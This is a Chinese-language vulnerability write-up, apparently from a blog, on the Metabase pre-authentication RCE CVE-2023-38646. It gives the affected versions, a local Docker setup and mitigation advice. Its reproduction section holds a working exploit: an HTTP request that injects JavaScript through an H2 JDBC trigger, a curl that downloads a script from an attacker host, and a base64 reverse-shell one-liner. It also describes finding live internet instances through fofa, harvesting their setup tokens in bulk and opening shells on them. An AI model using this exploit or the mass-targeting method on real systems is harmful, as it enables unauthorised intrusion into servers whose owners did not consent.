0x01 简介

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

0x02 漏洞概述

漏洞编号:CVE-2023-38646

Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令,利用时不需要身份验证。

该漏洞是由预身份验证 API 端点/api/setup/validate中的 JDBC 连接问题引起的。通过向该端点发出请求,我们成功实现了远程代码执行(RCE)。

0x03 影响版本

  • Metabase open source 0.46 < 0.46.6.1

  • Metabase Enterprise 1.46 < 1.46.6.1

  • Metabase open source 0.45 < v0.45.4.1

  • Metabase Enterprise 1.45 < 1.45.4.1

  • Metabase open source 0.44 < 0.44.7.1

  • Metabase Enterprise 1.44 < 1.44.7.1

  • Metabase open source 0.43 < 0.43.7.2

  • Metabase Enterprise 1.43 < 1.43.7.2

0x04 环境搭建

本地搭建

sudo docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6

0x05 漏洞复现

本地环境

通过访问IP:3000/api/session/properties获取setup-token。截图如下:

图片

获取到setup-token后构建poc执行反弹shell

由于靶机环境无法直接反弹shell,所以先构造一个反弹shell脚本,让靶机获取该脚本并执行,从而成功反弹

具体步骤如下:

访问/api/setup/validate,并构造payload获取攻击服务器的2.sh文件,实际执行命令为:

curl http://192.168.222.184:8000/2.sh -o /tmp/2.sh

具体poc如下:

POST /api/setup/validate HTTP/1.1
Host: IP
Content-Type: application/json

{
 "token": "token值",
 "details": {
  "is_on_demand": false,
  "is_full_sync": false,
  "is_sample": false,
  "cache_ttl": null,
  "refingerprint": false,
  "auto_run_queries": true,
  "schedules": {},
  "details": {
   "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(具体执行的命令)\n$$--=x",
   "advanced-options": false,
   "ssl": true
  },
  "name": "test",
  "engine": "h2"
 }
}

图片

成功获取到2.sh文件,并置于/tmp/2.sh

图片

图片

2.sh文件详情如下:

图片

攻击机监听6666端口,并发送post包,执行2.sh,具体执行命令为bash /tmp/2.sh:

图片

图片

成功反弹shell:

图片

在线环境

通过fofa搜索资产,访问api/session/properties批量获取对应的setup-token和版本信息,如下图:

图片

该机器可以直接反弹shell,所以直接构造shell

具体执行命令为:

bash -c {echo,YmFzaixxxYx}|{base64,-d}|{bash,-i}

其中YmFzaixxxYx是将shell进行64位编码的值。具体执行情况如下图:

图片

开启监听

图片

成功反弹shell

图片

0x06 修复方式

临时缓解方案:

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求或者阻止对 /api/setup 终结点的请求。

升级修复方案:

官方已经推出了新的修复版本。建议所有受影响的用户尽快访问官方网站,更新至相应的安全版本。

对于使用 Docker 版本的用户,只需拉取最新版本的镜像进行更新。然而在开始升级前,务必确保已经对数据进行了备份。

需要注意的是不论使用什么修复版本,都需要确保应用完成安装过程可正常登录使用才可修复漏洞。同时作为安全建议,应该及时下线一些不使用的服务。

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐